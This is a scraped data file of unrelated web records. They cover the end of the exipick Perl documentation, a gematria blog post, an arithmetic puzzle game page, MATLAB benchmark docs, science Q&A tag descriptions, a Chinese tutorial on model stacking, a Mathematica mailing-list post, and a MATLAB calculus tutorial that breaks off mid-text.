B<\\$warning_count>\n1841 The number of delay warnings which have been sent for this message.\n1843 =back\n1845 =head1 CONTACT\n1847 =over 4\n1849 =item EMAIL: [email protected]\n1851 =item HOME: L<https://jetmore.org/john/code/#exipick>\n1853 This script was incorporated into the main Exim distribution some years ago.\n1855 =back\n1857 =cut\n1859 # vim:ft=perl" ]

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[ "18 Feb 2019 Flowers\n\nflowers in Simple Gematria equals: 98\n\n17/8/4/2/1 or 17 divided by 2 = 8.5 = 13/4/2/1 or 13 divided by 2 = 6.5 = 11/2/1 or 11 divided by 2 = 5.5 = 10/1 or 10 divided by 2 = 5 divided by 2 =\n\n2.5 = 7 divided by 2 = 3.5= 8 divided by 2 = 4 divided by 2 = 2 divided by 2 comes back to 1\n\nFor some there is no question that they like flowers.  For some there is a question which flowers they like.  For some they like flowers but are allergic to them so they cannot enjoy flowers except from a great distance.  For some they know for certain they do not like flowers and avoid them at all cost.  For some it is not enough to dislike flowers.  They will go out of their way to destroy flowers for others so that no one may enjoy them.\n\nWhat happens with the like or dislike of flowers could also cross over to people and anything else with a spirit, anything or anyone that comes from the God of my understanding.\n\nA further look at how the sum for the flower breaks down:\n\nnine eight in Simple Gematria equals: 91\n\nnine one in Simple Gematria equals: 76\n\nseven six in Simple Gematria equals: 117\n\none one seven in Simple Gematria equals: 133\n\none three three in Simple Gematria equals: 146\n\none four six in Simple Gematria equals: 146\n\n(rose = 57/12/3 cycle)" ]

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[ "", null, "", null, "### Always 100!\n\nThe goal of the test is to insert between the given digits some of the four arithmetic operations (addition, subtraction, multiplication and division) in such a way that each of the ten provided expressions is equal to 100. Please bear in mind some restrictions while calculating. The division has to be exact, i.e. without the residue. The division by zero is treated as an error. The numbers must not have the unemployed zeros. The operations are performed from left to right with the higher priority of multiplication and division over addition and subtraction.\n\nTo insert an arithmetic operator click the space between the respective numbers", null, "and the pop-up menu will appear. Select the required operator from the menu, or the empty square in case you want to cancel the operator which has been inserted there before. To cancel all the operators in an equation click the crossed square to the left of that equation.\n\nIf all ten equations are calculated correctly, then all the question marks will be replaced with \"100\" and the time clock in the lower left corner will be stopped. In case some question marks are not replaced with \"100\", then either you haven't calculated the respective equations correctly or the problem with the division by zero appeared. Please, recount them again.\n\nHint: by default five arithmetic operators are required to be employed in order to get the correct answer for each equation. For example: 9+0+9*9+4+6=100. But you are allowed to find a solution with the less number of operators in it: 90:9*9+4+6=100.\n\n### World's Best Records\n\nNameCountryResult\nTakeshiJapan00' 35\"\nHideakiJapan00' 38\"\nHideakiJapan00' 40\"\nMasakiJapan00' 41\"\nHideakiJapan00' 43\"\nTakeshiJapan00' 46\"\nYusnier Viera RomeroUSA00' 47\"\nMasakiJapan00' 53\"\nTakeshiJapan00' 56\"\nMasakiJapan00' 57\"\n\nYour time must be less than 10 minutes!\n\nWrite to us Site Map" ]

[ null, "http://www.gameintellect.com/img/gi.gif", null, "http://www.gameintellect.com/img/motto.gif", null, "http://www.gameintellect.com/flash-games/img/always100.gif", null ]

[ "# Benchmark¶\n\n```This class provides methods for benchmarking different\noptimization studies against each other\nExample:\n\nbenchmark = Benchmark('num_average',6);\nstudies = benchmark.studies();\nfor i_study = 1:length(studies)\nstudy = studies{i_study};\nwhile(not(study.is_done))\nsuggestion = study.get_suggestion();\nobservation = evaluate(suggestion.sample);\nend\nend\ndata = benchmark.get_data('x_type','num_evaluations','y_type','objective',...\n'average_type','mean');\nplots = [];\nfor ii=1:length(data.names)\nX = data.X(ii,:);\nY = data.Y(ii,:);\nplots(end+1) = plot(X,Y,'LineWidth',1.5);\nend\nlegend(plots, data.names{:});\n\nMethods:\n\nPurpose: Adds a study to the benchmark.\nInput:\nstudy: A study object.\n\nPurpose: Adds the results of a benchmark study at the end\nof an optimization run\nInput: A study object after the study was run\n\nstudies\n\nPurpose: Returns a list of studies to be run for the benchmark\nUsage: studies = benchmark.studies()\n\nget_data\n\nPurpose: Get benchmark data\nUsage: data = benchmark.get_data('x_type','num_evaluations',...\n'y_type','objective','average_type','mean');\nInput:\nx_type: Data on x-axis. Can be either 'num_evaluations' or 'time'\ny_type: Data type on y-axis. Can be either 'objective' or\n'distance', i.e. distance to minimum.\naverage_type: Type of averaging over study runs. Can be either\n'mean' w.r.t. x-axis data or 'median' w.r.t. y-axis data\ninvert: If True, the objective is multiplied by -1.\n(Parameter not available for distance average types)\nlog_scale: If True, log-values are averaged. (Only available for\nmedian average types)\nminimum: Vector with minimum position. (Only available for\ndistance average types)\nscales: Vector with positive weights for scaling distance in\ndifferent directions. (Only available for distance average types)\nnorm: Order of distance norm as defined in\nnumpy.linalg.norm. (Only available for distance average types)\nnum_samples: Number of samples on y-axis. (Only available for\nmedian average type or time on x-axis)\n```" ]

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[ "# Tags\n\nA tag is a keyword or label that categorizes your question with other, similar questions. Using the right tags makes it easier for others to find and answer your question.\n\nMolecular dynamics simulations aim at solving the equations of motion of the atoms belonging to a molecular system using explicit time propagation and taking into account the effect of temperature on …\n96 questions\nThe study of collection, organization, analysis, and interpretation of data.\n94 questions\nQuestions related to solving the advection-diffusion equation using numerical methods, including derivation and implementation of boundary conditions.\n94 questions\nA partial differential equation that describes diffusion phenomena.\n91 questions\nA method of finding nearly-optimal solutions to a problem. Generally, this terminology is applied to algorithms and heuristics for solving NP-Hard problems in computer science.\n88 questions\nGraphical Processing Unit - a specialized, relatively inexpensive hardware unit built for fast graphical computations and highly data-parallel scientific computations.\n88 questions\n88 questions\nA popular krylov subspace method for solving linear systems of equations, particularly those that exhibit symmetric positive definiteness.\n86 questions\nAn approach to solving systems of equations by projecting the problem from a fine scale representation onto a coarser one. A coarse representation generally has fewer unknowns, making it faster to so…\n86 questions\n83 questions\nStudies the behavior of solid materials, and deformation under the action of forces\n81 questions\n81 questions\nFor questions related to the collection, processing and interpretation of pixel data from imaging systems.\n81 questions\n80 questions\nTo move in some direction (as a fluid does in a pipe). Often contrasted with diffusion, which is a spreading out without necessarily having any movement of the field as a whole.\n80 questions\nRegression analysis is the process of measuring and establishing a relationship between a dependent variable and one or more independent variables.\n79 questions\nIssues related to the representation of numerical quantities in a finite representation in a given base differing from their exact mathematical value.\n79 questions\nA field of combinatorics relating to the study of vertices and the edges that connect them\n79 questions\n77 questions\n75 questions\nThe branch of chemistry dealing with the use of mathematical models to solve problems in chemistry.\n75 questions\nBasic Linear Algebra Subprograms - A standard API library with vector-vector, matrix-vector, and matrix-matrix operations.\n71 questions\nSingular Value Decomposition (SVD) is a decomposition (factorization) of rectangular real or complex matrix into the product of a unitary rotation matrix, a diagonal scaling matrix, and a second unita…\n71 questions\n71 questions\n69 questions\nReferring to Krylov Subspaces and the methods of solutions to linear systems of equations which exploit these spaces.\n68 questions\nData Analysis is the process of evaluating data using analytical and logical reasoning to examine each component of the data provided.\n67 questions\n64 questions\nQuestions on the algorithms for and uses of (pseudo)random number generators in scientific computing.\n60 questions\nGeometry is a branch of mathematics. Geometry studies the spatial relationships and forms of objects, as well as other relationships and forms, similar to the spatial in its structure.\n59 questions\n59 questions\n59 questions\nFor questions regarding the numerical treatment of processes whose behaviors are determined by both deterministic (predictable) and non-deterministic (random) actions.\n58 questions\n58 questions\n58 questions\n56 questions" ]

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[ "# 模型融合Blending 和 Stacking\n\n30 篇文章 0 订阅\n\n### 前言\n\n• 什么是融合？\n• 几种方式融合\n• 基本的模型融合组合及适用场景、优缺点等\n\n### 什么是融合？\n\n• Blending\n• Stacking\n\n• 准确性\n要求该模型的性能不能太差\n• 差异性\n选择模型一般是多个，要求这多个模型之间有差异，有差异才能通过融合模型发挥他们的优势。\n\n### Blending融合方式\n\n##### Uniform Blending (均匀融合)\n\nG ( x ) = s i g n ( ∑ t = 1 T 1 ∗ g t ( x ) ) G(x) = sign(\\sum^{T}_{t=1}1*g_t(x)) \\\\\n\n##### Linear Blending (线性融合)\n\nG ( x ) = s i g n ( ∑ t = 1 T a t g t ( x ) ) a t ≥ 0 G(x) = sign(\\sum^{T}_{t=1}a_tg_t(x)) \\\\ a_t \\ge 0\n\nbest_p = 0\nbest_score = 0\nfor p in range(0,1,0.05):\nb_score = model(lgbmodel,xgbmodel,p)\nif b_score > best_score :\nbest_score = b_score\nbest_p = p\n\n\nlgb和xgb均用了3个不同种子的5折融合，相当于最后一共融合了30个模型的预测结果，这样的操作使最终线上得分突破了0.5。\n\n### Stacking融合方式\n\nBlending方式各个分类器直接相对都是独立的，Stacking则有点像组合方式，每一个层都是一个模型，下一层模型利用上一层模型的输出来得到结果作为下一层输入，但Stacking算法分为2层，第一层是用不同的算法形成T个弱分类器，同时产生一个与原数据集大小相同的新数据集，利用这个新数据集和一个新算法构成第二层的分类器。\n\n• (1) 先将训练集D拆成k个大小相似但互不相交的子集 D 1 , D 2 , … , D k D_1,D_2,…,D_k\n• (2) 令 D j ′ = D − D j D_j'= D - D_j ，在 D j ′ D_j' 上训练一个弱学习器 L j L_j 。将 D j D_j 作为测试集，获得 L j L_j D j D_j 上的输出 D j ′ D_j' ，这里 j = 1... n j=1...n ，也就是说有1个模型对应k个弱学习器；\n• (3) 步骤2可以得到k个弱学习器以及k个相应的输出 D j ′ D_j' ，这个k个输出加上原本的类标签构成新的训练集 D n D_n 这里的输入特征怎么就变成一个呢？\n• (4) 在 D n D_n 训练次学习器 L L L L 即为最后的学习器。", null, "• Training Data ：表示是测试集，完全的测试集，这个测试集会被分割成K份，其中一份作为验证集，其他用来训练模型。\n• 一个模型因为数据集划分的不同，要训练成k次，每一个得到一个弱学习器，模型类型是一样的，但参数有可能会不同，毕竟训练集、测试集不同\n• Test Data：测试集，这个不划分K份，那么一个模型k个弱学习器，预测是结果是一个样本有k个输出结果\n• 一个测试集样本有k个输出怎么作为下一层模型的输入呢？答案是上图绿色框框部分的求平均值，k个值平均后就变成了一行数据，这一行数据作为特征，用来第二层的输入。\n\n• 训练集：每一个样本有m个输出，假如样本数是1000，m=3，那么输出就是 1000 ∗ 3 1000*3 的矩阵\n• 测试集：每一个样本有m个输出，假如样本数是100，m=3，那么输出就是 100 ∗ 3 100*3 的矩阵，跟测试集一样的矩阵大小是因为有取平均值。\n\n• 1、把训练集分为不交叉的五份。我们标记为train1到train5。\n• 2、选一个基模型model_1，用train2、train3、train4、train5作为训练集，train1作为验证集，这样训练参数得到一个模型model_1_1，并用这个模型预测train1，这样train1也得到了pred1。\n• 3、依次用train2作为验证集，其他四份作为训练集，得到model_1_2，这样一个基模型在train1-train5上有5个模型，同时，train1到train5都有预测值：pred1 - pred5；\n• 4、再选基模型 mode_2 重复第2、3步骤。\n• 5、考虑test数据集，每一个基模型对与test都有一次预测，但基模型在train上有5个模型，因此test的预测结果也有5次，会对这5次结果求平均值用于作为下一层输入\n\n• 一般第二层采用LR模型，也叫做meta-model 元模型。\n• 因为我们有3个基模型，所以输入的大小是n3，n表示样本大小，3表示基模型数量，一个样本被一个基模型预测一次，并且有一个预测值，这样输入就是n3。\n• 输出就是样本的标签值。\n• 利用meta-model 对上述新数据进行建模预测，预测出来的数据就是提交的最终数据。\n\n• 第一层训练中只说了三种算法形成三份训练集Predictions作为第二层的特征，其实三种特征有点少，容易overfitting，尽量多用一些算法，每种算法也可以根据hyperopt的搜索参数对应不同的模型，这样就会有很多模型产生，也就是会形成多份“训练集Predictions”以及多份“测试集Predictions”，这样在第二层建立的模型及预测的结果相对会好一些。\n\nstacking融合，加入NN和逻辑回归增强泛化能力。\n\n### 基本的模型融合组合及适用场景、优缺点等", null, "### 举例说明\n\nXGBClassifier、RFClassifier 作为基模型，采用 LogisticRegressionCV 作为次模型。\n\nfrom sklearn import datasets\nfrom sklearn import model_selection\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.ensemble import RandomForestClassifier\nfrom mlxtend.classifier import StackingCVClassifier\nimport numpy as np\nimport warnings\n\nwarnings.simplefilter('ignore')\n\nX, y = iris.data[:, 1:3], iris.target\n\nRANDOM_SEED = 42\n\nclf1 = KNeighborsClassifier(n_neighbors=1)\nclf2 = RandomForestClassifier(random_state=RANDOM_SEED)\nclf3 = GaussianNB()\nlr = LogisticRegression()\n\n# Starting from v0.16.0, StackingCVRegressor supports\n# random_state to get deterministic result.\nsclf = StackingCVClassifier(classifiers=[clf1, clf2, clf3],meta_classifier=lr,use_probas=True, cv=5)\n\nprint('3-fold cross validation:\\n')\n\nfor clf, label in zip([clf1, clf2, clf3, sclf],\n['KNN',\n'Random Forest',\n'Naive Bayes',\n'StackingClassifier']):\n\nscores = model_selection.cross_val_score(clf, X, y,cv=3, scoring='accuracy')\nprint(\"Accuracy: %0.2f (+/- %0.2f) [%s]\" % (scores.mean(), scores.std(), label))\n\n\n\n3-fold cross validation:\n\nAccuracy: 0.91 (+/- 0.01) [KNN]\nAccuracy: 0.90 (+/- 0.03) [Random Forest]\nAccuracy: 0.92 (+/- 0.03) [Naive Bayes]\nAccuracy: 0.95 (+/- 0.03) [StackingClassifier]\n\n\n。大家就算是来尝试一下这个模型融合的流程。\n\n### stacking 回归\n\nfrom mlxtend.regressor import StackingCVRegressor\nfrom mlxtend.data import boston_housing_data\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso\nfrom sklearn.svm import SVR\nfrom sklearn.model_selection import train_test_split, GridSearchCV, cross_val_score\nfrom sklearn.metrics import mean_squared_error\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx, y = boston_housing_data()\nx = x[:100]\ny = y[:100]\n# 划分数据集\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)\n# 初始化基模型\nlr = LinearRegression()\nsvr_lin = SVR(kernel='linear', gamma='auto')\nridge = Ridge(random_state=2019,)\nlasso =Lasso()\nmodels = [lr, svr_lin, ridge, lasso]\n\nparams = {'lasso__alpha': [0.1, 1.0, 10.0],\n'ridge__alpha': [0.1, 1.0, 10.0]}\n\nsclf = StackingCVRegressor(regressors=models, meta_regressor=ridge)\ngrid = GridSearchCV(estimator=sclf, param_grid=params, cv=5, refit=True)\ngrid.fit(x_train, y_train)\nprint(grid.best_score_, grid.best_params_)\n\n\n\nStackingCVRegressor\nStacking demo\n\n### 总结\n\nBlending 主要在优化variance（即模型的鲁棒性），Stacking主要在优化bias（即模型的精确性）。这是从另一个角度来看这个问题。\n\n### 参考博客\n\n03-26\n11-28", null, "1424", null, "", null, "01-07", null, "4万+\n01-12", null, "5万+\n06-01", null, "8205\n08-30", null, "1万+\n05-05", null, "867\n05-11", null, "43\n02-03", null, "1754\n03-29", null, "7785\n08-14", null, "1万+\n08-11", null, "8043\n02-27", null, "1472\n08-27", null, "5万+\n08-27", null, "1773\n08-02", null, "6826\n08-30", null, "3万+\n04-01", null, "441\n11-19", null, "5636\n05-11", null, "523", null, "点击重新获取", null, "", null, "", null, "扫码支付", null, "", null, "余额充值" ]

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[ "", null, "", null, "", null, "", null, "", null, "", null, "", null, "Re: Value of E\n\n• To: mathgroup at smc.vnet.net\n• Subject: [mg77386] Re: [mg77301] Value of E\n• From: DrMajorBob <drmajorbob at bigfoot.com>\n• Date: Thu, 7 Jun 2007 04:06:41 -0400 (EDT)\n• Organization: Deep Space Corps of Engineers\n• References: <30949593.1181133668382.JavaMail.root@m35>\n\n```Both solutions depend on the ArcSin argument:\n\nOff[Solve::\"ifun\"]\nSolve[(I*a^(I*ArcSin[3/5]) - I*a^-(I*ArcSin[3/5]))/2 == 3/5, a]\nN@%\n\n{{a -> (-(4/5) - (3*I)/5)^(-(I/ArcSin[3/5]))}, {a -> (4/5 - =\n\n(3*I)/5)^(-(I/ArcSin[3/5]))}}\n{{a -> 0.020608916569560962 + 0.*I}, {a -> 0.36787944117144233 + 0.*I}}\n\nSolve[(I*a^(I*ArcSin[arg]) - I*a^-(I*ArcSin[arg]))/2 == arg, a]\n\n{{a -> (-\\[ImaginaryI] arg - Sqrt[1 - arg^2])^-\\[ImaginaryI]/\nArcSin[arg]}, {a -> (-\\[ImaginaryI] arg + Sqrt[\n1 - arg^2])^-\\[ImaginaryI]/ArcSin[arg]}}\n\nBobby\n\nOn Wed, 06 Jun 2007 06:22:44 -0500, Jeff Albert <albertj001 at hawaii.rr.co=\nm> =\n\nwrote:\n\n> Now we all know that:\n>\n> In:=N[E,10]\n>> From In:=2.718281828459045\n>\n> and that\n>\n> In:=N[(I*E^(I*ArcSin[3/5])-I*E^-(I*ArcSin[3/5]))/2,10]\n>> From In:=-0.6 + 0.*I.\n>\n>\n> In:=NSolve[(I*A^(I*ArcSin[3/5])-I*A^-(I*ArcSin[3/5]))/2==3/=\n5,A]\n>> From In:=Solve::ifun: Inverse functions are being used by Solv=\ne, so\n> some solutions may not be found.\n>> From In:={{A -> 0.020608916569560966 + 0.*I}, {A -> =\n\n>> 0.36787944117144233\n> + 0.*I}}\n>\n> Where it turns out that the first solution seems to depend on the =\n\n> argument\n> for ArcSin[], but the second does not. Indeed one even finds:\n>\n> In:=0.36787944117144233^(I*Pi)\n>> From In:=-1. - 1.2246063538223773*^-16*I\n>\n> Jeff Albert\n>\n>\n>\n>\n\n-- =\n\nDrMajorBob at bigfoot.com\n\n```\n\n• Prev by Date: Re: Segregating the elements of a list based on given\n• Next by Date: Re: Developing Applications using Mathematica\n• Previous by thread: Re: Value of E\n• Next by thread: Re: Dynamic PlotLabel in Math6?" ]

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[ "• 1、很简单啊2113.2、比如我们输出一个函数f=A*sin(x)-B*exp(C*x)这种表达5261式,A,B,C是你输入的任何参4102数.(1)你写上如下代码的M文件function f=dispf(A,B,C)syms x;f=A*sin(x)-B*exp(C*x);end(2)现在你1653直接...\n\nwww.mh456.com防采集。\n\n1、很简单啊2113.2、比如我们输出一个函数f=A*sin(x)-B*exp(C*x)这种表达5261式,A,B,C是你输入的任何参4102数.(1)你写上如下代码的M文件function f=dispf(A,B,C)syms x;f=A*sin(x)-B*exp(C*x);end(2)现在你1653直接在命令窗口输入命令dispf就可以了,比如>> dispf(12,36,78)ans =12*sin(x) - 36*exp(78*x)>>\n\n是不是可以跟C++语言中输出的一样 是可以输出某一个表达式=多少的。 matlab中也可以用的 如fprintf，disp命令 想要输出什么，就可以输出什么！\n\n要具体2113哦，如果一个自变量，函数5261图像就是曲线，用plot如果是2个自变量4102，函1653数图像就是曲面了，如f=3*exp(-x-4*y),可以用以下表示。f=@(x,y)3*exp(-x-4*y);ezmesh(f)\n\n1、假如我要对a1,a2,a3,a4,……,a100分别赋予1,2,3，……，100，这时eval就发挥作用了。 for i=1:100 eval(['a' num2str(i) '=' num2str(i)]); end 2、再比如批量存数据或图片文件等等。 那么开始提到的例子也就好解释了。 注意：eval中的中括号在两\n\n你对这个问题的看法有问题经过这两个点的函数有很多，直线只是其中一个，那么对于很多个点的坐标的话，函数表达式不是唯一的，你怎么确定呢？如果你想要的是多项式函数，那就使用polyfit函数来拟合就行了！本回答被网友采纳\n\n根据你的数据分析，三次多项式拟合就可以了 clc; a=[16,25,33,46,55]; b=[12.9,8.5,6.1,3.7,2.5]; beta=polyfit(a,b,3); y=polyval(beta,a); plot(a,b,'k+',a,y)\n\n请教如何实现输出的表达式中带有命令，比如y=1-normcdf(x)\n\n电脑没那2113么5261聪明的~4102小改一下1653if(a==0 & c==0)fprintf('x=0')elseif(a==0)fprintf('x=%f sin %f t', c, d)elseif(c==0)fprintf('x=%f cos %f t', a, b)elsefprintf('x=%f cos %f t + %f sin %f t', a, b, c, d)end追问这个我也想到了，只是实际函数不止abcd这几个系数，我觉得挺麻烦的你说电脑没那么聪明，意思就是MATLAB不能实现直接输出函数表达式是吧~就不能我把系数、自变量都设定清楚，然后通过某种机制直接输出吗？追答我想到了~function x=myout(a,b,c,d)syms x;syms t;x=a*cos(b*t)+c*sin(d*t);你打下myout(0,1,1,1)试试~保证你满意~\n\n要具体哦，2113如果一个自变量，函数图像就是曲线，用5261plot如果4102是2个自变量，函数图像就是曲面了，如f=3*exp(-x-4*y),可以用以下1653表示。f=@(x,y)3*exp(-x-4*y);ezmesh(f)你对这个问题的看法有问题经过这两个点的函数有很多，直线只是其中一个，那么对于很多个点的坐标的话，函数表达式不是唯一的，你怎么确定呢？如果你想要的是多项式函数，那就使用polyfit函数来拟合就行了！内容来自www.mh456.com请勿采集。\n\n展开全文", null, "• MATLAB提供了解决微分和积分微积分的各种方法，求解任何程度的微分方程和极限计算。可以轻松绘制复杂功能的图形，并通过求解原始功能以及其衍生来检查图形上的最大值，最小值和其他固定点。本章将介绍微积分问题。在...", null, "MATLAB提供了解决微分和积分微积分的各种方法，求解任何程度的微分方程和极限计算。可以轻松绘制复杂功能的图形，并通过求解原始功能以及其衍生来检查图形上的最大值，最小值和其他固定点。\n\n本章将介绍微积分问题。在本章中，将讨论预演算法，即计算功能限制和验证限制属性。\n\n在下一章微分中，将计表达式的导数，并找到一个图的局部最大值和最小值。我们还将讨论求解微分方程。\n\n最后，在“整合/集成”一章中，我们将讨论积分微积分。\n\n计算极限\n\nMATLAB提供计算极限的limit函数。在其最基本的形式中，limit函数将表达式作为参数，并在独立变量为零时找到表达式的极限。\n\n例如，要计算函数f(x)=(x^3 + 5)/(x^4 + 7)的极限，因为x趋向于零。\n\nsyms xlimit((x^3 + 5)/(x^4 + 7))\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nTrial>> syms x limit((x^3 + 5)/(x^4 + 7)) ans = 5/7\n\nShell\n\nlimit函数落在符号计算域; 需要使用syms函数来告诉MATLAB正在使用的符号变量。还可以计算函数的极限，因为变量趋向于除零之外的某个数字。要计算 -", null, "可使用带有参数的limit命令。第一个是表达式，第二个是数字 - x表示接近，这里它是a。\n\n例如，要计算函数f(x)=(x-3)/(x-1)的极限，因为x倾向于1。\n\nlimit((x - 3)/(x-1),1)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nans = NaN\n\nShell\n\n下面再看另外一个例子，\n\nlimit(x^2 + 5, 3)\n\nShell\n\n执行上面示例代码，得到以下结果 -\n\nans = 14\n\nShell\n\n使用Octave计算极限\n\n以下是Octave版本的上述示例使用symbolic包，尝试执行并比较结果 -\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nans = 0.7142857142857142857\n\nShell\n\n验证极限的基本属性\n\n代数极限定理提供了极限的一些基本属性。这些属性如下 -", null, "下面来考虑两个函数 -\n\nf(x) = (3x + 5)/(x - 3) g(x) = x^2 + 1.\n\n下面计算函数的极限，这两个函数的x趋向于5，并使用这两个函数和MATLAB验证极限的基本属性。\n\n例子\n\n创建脚本文件并在其中键入以下代码 -\n\nsyms x f = (3*x + 5)/(x-3);g = x^2 + 1;l1 = limit(f, 4)l2 = limit (g, 4)lAdd = limit(f + g, 4)lSub = limit(f - g, 4)lMult = limit(f*g, 4)lDiv = limit (f/g, 4)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nl1 = 17 l2 = 17 lAdd = 34 lSub = 0 lMult = 289 lDiv = 1\n\nShell\n\n使用Octave验证极限的基本属性\n\n以下是Octave版本的上述示例使用symbolic包，尝试执行并比较结果 -\n\npkg load symbolic symbols x = sym(\"x\");f = (3*x + 5)/(x-3);g = x^2 + 1;l1=subs(f, x, 4)l2 = subs (g, x, 4)lAdd = subs (f+g, x, 4)lSub = subs (f-g, x, 4)lMult = subs (f*g, x, 4)lDiv = subs (f/g, x, 4)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nl1 = 17.0 l2 = 17.0 lAdd = 34.0 lSub = 0.0 lMult = 289.0 lDiv = 1.0\n\nShell\n\n左右边界极限\n\n当函数对变量的某个特定值具有不连续性时，该点不存在极限。 换句话说，当x = a时，函数f(x)的极限具有不连续性，当x的值从左侧接近x时，x的值不等于x从右侧接近的极限值。\n\n对于x <a的值，左极限被定义为x - > a的极限，从左侧即x接近a。 对于x> a的值，右极限被定义为x - > a的极限，从右边，即x接近a。 当左极限和右极限不相等时，极限不存在。\n\n下面来看看一个函数 -\n\nf(x) = (x - 3)/|x - 3|\n\n下面将显示", null, "不存在。MATLAB帮助我们以两种方式说明事实 -\n\n• 通过绘制函数图并显示不连续性。\n• 通过计算极限并显示两者都不同。\n\n通过将字符串“left”和“right”作为最后一个参数传递给limit命令来计算左侧和右侧的极限。\n\n例子\n\n创建脚本文件并在其中键入以下代码 -\n\nf = (x - 3)/abs(x-3);ezplot(f,[-1,5])l = limit(f,x,3,'left')r = limit(f,x,3,'right')\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -", null, "显示以下输出结果 -\n\nTrial>> Trial>> f = (x - 3)/abs(x-3); ezplot(f,[-1,5]) l = limit(f,x,3,'left') r = limit(f,x,3,'right') l = -1 r = 1\n\nShell\n\nMATLAB提供用于计算符号导数的diff命令。 以最简单的形式，将要微分的功能传递给diff命令作为参数。\n\n例如，计算函数的导数的方程式 -", null, "例子\n\n创建脚本文件并在其中键入以下代码 -\n\nsyms t f = 3*t^2 + 2*t^(-2);diff(f)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nTrial>> syms t f = 3*t^2 + 2*t^(-2); diff(f) ans = 6*t - 4/t^3\n\nShell\n\n以下是使用Octave 计算的写法 -\n\npkg load symbolic symbols t = sym(\"t\");f = 3*t^2 + 2*t^(-2);differentiate(f,t)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\nans = 6*t - 4/t^3\n\nShell\n\n基本微分规则的验证\n\n下面简要说明微分规则的各种方程或规则，并验证这些规则。 为此，我们将写一个第一阶导数f'(x)和二阶导数f“(x)。\n\n以下是微分的规则 -\n\n规则 - 1\n\n对于任何函数f和g，任何实数a和b是函数的导数：\n\nh(x) = af(x) + bg(x)相对于x，由h’(x) = af’(x) + bg’(x)给出。\n\n规则 - 2\n\nsum和subtraction规则表述为：如果f和g是两个函数，则f'和g'分别是它们的导数，如下 -\n\n(f + g)' = f' + g' (f - g)' = f' - g'\n\n规则 - 3\n\nproduct规则表述为：如果f和g是两个函数，则f'和g'分别是它们的导数，如下 -\n\n(f.g)' = f'.g + g'.f\n\n规则 - 4\n\nquotient规则表明，如果f和g是两个函数，则f'和g'分别是它们的导数，那么 -", null, "规则 - 5\n\n多项式或基本次幂规则表述为：如果y = f(x)= x^n，则 -\n\n这个规则的直接结果是任何常数的导数为零，即如果y = k，那么为任何常数 -\n\nf' = 0\n\n规则 - 5\n\nchain规则表述为 - 相对于x的函数h(x)= f(g(x))的函数的导数是 -\n\nh'(x)= f'(g(x)).g'(x)\n\nMATLAB\n\n例子\n创建脚本文件并在其中键入以下代码 -\n\nsyms x syms t f = (x + 2)*(x^2 + 3)der1 = diff(f)f = (t^2 + 3)*(sqrt(t) + t^3)der2 = diff(f)f = (x^2 - 2*x + 1)*(3*x^3 - 5*x^2 + 2)der3 = diff(f)f = (2*x^2 + 3*x)/(x^3 + 1)der4 = diff(f)f = (x^2 + 1)^17der5 = diff(f)f = (t^3 + 3* t^2 + 5*t -9)^(-6)der6 = diff(f)\n\nMATLAB\n\n执行上面示例代码，得到 以下结果 -\n\nf = (x^2 + 3)*(x + 2) der1 = 2*x*(x + 2) + x^2 + 3 f = (t^(1/2) + t^3)*(t^2 + 3) der2 = (t^2 + 3)*(3*t^2 + 1/(2*t^(1/2))) + 2*t*(t^(1/2) + t^3) f = (x^2 - 2*x + 1)*(3*x^3 - 5*x^2 + 2) der3 = (2*x - 2)*(3*x^3 - 5*x^2 + 2) - (- 9*x^2 + 10*x)*(x^2 - 2*x + 1) f = (2*x^2 + 3*x)/(x^3 + 1) der4 = (4*x + 3)/(x^3 + 1) - (3*x^2*(2*x^2 + 3*x))/(x^3 + 1)^2 f = (x^2 + 1)^17 der5 = 34*x*(x^2 + 1)^16 f = 1/(t^3 + 3*t^2 + 5*t - 9)^6 der6 = -(6*(3*t^2 + 6*t + 5))/(t^3 + 3*t^2 + 5*t - 9)^7\n\nShell\n\n以下是对上面示例的Octave写法 -\n\npkg load symbolic symbols x=sym(\"x\");t=sym(\"t\");f = (x + 2)*(x^2 + 3) der1 = differentiate(f,x) f = (t^2 + 3)*(t^(1/2) + t^3) der2 = differentiate(f,t) f = (x^2 - 2*x + 1)*(3*x^3 - 5*x^2 + 2) der3 = differentiate(f,x) f = (2*x^2 + 3*x)/(x^3 + 1) der4 = differentiate(f,x) f = (x^2 + 1)^17 der5 = differentiate(f,x) f = (t^3 + 3* t^2 + 5*t -9)^(-6) der6 = differentiate(f,t)\n\nMATLAB\n\n指数，对数和三角函数的导数\n\n下表提供了常用指数，对数和三角函数的导数，", null, "例子\n创建脚本文件并在其中键入以下代码 -\n\nsyms x y = exp(x)diff(y)y = x^9diff(y)y = sin(x)diff(y)y = tan(x)diff(y)y = cos(x)diff(y)y = log(x)diff(y)y = log10(x)diff(y)y = sin(x)^2diff(y)y = cos(3*x^2 + 2*x + 1)diff(y)y = exp(x)/sin(x)diff(y)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -\n\ny = exp(x) ans = exp(x) y = x^9 ans = 9*x^8 y = sin(x) ans = cos(x) y = tan(x) ans = tan(x)^2 + 1 y = cos(x) ans = -sin(x) y = log(x) ans = 1/x y = log(x)/log(10) ans = 1/(x*log(10)) y = sin(x)^2 ans = 2*cos(x)*sin(x) y = cos(3*x^2 + 2*x + 1) ans = -sin(3*x^2 + 2*x + 1)*(6*x + 2) y = exp(x)/sin(x) ans = exp(x)/sin(x) - (exp(x)*cos(x))/sin(x)^2\n\nShell\n\n以下代码是上面代码的Octave写法 -\n\npkg load symbolic symbols x = sym(\"x\"); y = Exp(x) differentiate(y,x) y = x^9 differentiate(y,x) y = Sin(x) differentiate(y,x) y = Tan(x) differentiate(y,x) y = Cos(x) differentiate(y,x) y = Log(x) differentiate(y,x) % symbolic packages does not have this support %y = Log10(x) %differentiate(y,x) y = Sin(x)^2 differentiate(y,x) y = 